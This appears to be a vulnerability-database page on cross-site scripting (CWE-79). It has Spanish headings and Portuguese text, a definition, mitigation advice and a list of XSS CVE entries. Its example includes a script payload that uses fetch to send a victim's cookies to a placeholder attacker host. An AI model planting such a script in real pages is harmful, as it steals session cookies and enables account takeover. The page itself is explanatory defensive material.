Fallos del tipo CWE-79

30.150 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35234MEDIUMDiscourse vulnerable to stored-dom XSS via Facebook OneboxesEPSS 0.3%CVE-2025-67823HIGHA vulnerability in the Multimedia Email component of Mitel MiContact Center Business through 10.2.0.10 and Mitel CX through 1.1.0.1 could alEPSS 0.3%CVE-2023-46074MEDIUMWordPress FreshMail For WordPress Plugin <= 2.3.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-10178MEDIUMGutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.3%CVE-2024-3889MEDIUMRoyal Elementor Addons and Templates <= 1.3.971 - Authenticated (Contributor+) Stored Cross-Site Scripting via Advanced Accordion Title TagsEPSS 0.3%CVE-2024-24801MEDIUMWordPress OWL Carousel Plugin <= 1.4.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-9353MEDIUMThemify Builder <= 7.6.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-57440HIGHMediawiki EmbedVideo Extension has stored XSS via malformed src url with $wgEmbedVideoRequireConsent disabledEPSS 0.3%CVE-2026-30562CRITICALA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.3%CVE-2025-2635MEDIUMDigital License Manager <= 1.7.3 - Reflected Cross-Site Scripting via remove_query_arg FunctionEPSS 0.3%CVE-2024-32570HIGHWordPress Cornerstone plugin <= 0.8.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56299HIGHWordPress Notify Odoo plugin <= 1.0.0 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2024-54774MEDIUMDcat Admin v2.2.0-beta contains a cross-site scripting (XSS) vulnerability in /admin/articles/create.EPSS 0.3%CVE-2025-3613MEDIUMDemtec Graphytics visualization cross site scriptingEPSS 0.3%CVE-2025-47056MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2026-3368HIGHInjection Guard <= 1.2.9 - Unauthenticated Stored Cross-Site Scripting via Query Parameter NameEPSS 0.3%CVE-2025-47005MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-3559MEDIUMCustom Field Suite <= 2.6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via cfs[post_content]EPSS 0.3%CVE-2024-56016HIGHWordPress Image Mapper plugin <= 0.2.5.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51646HIGHWordPress Saoshyant Element plugin <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%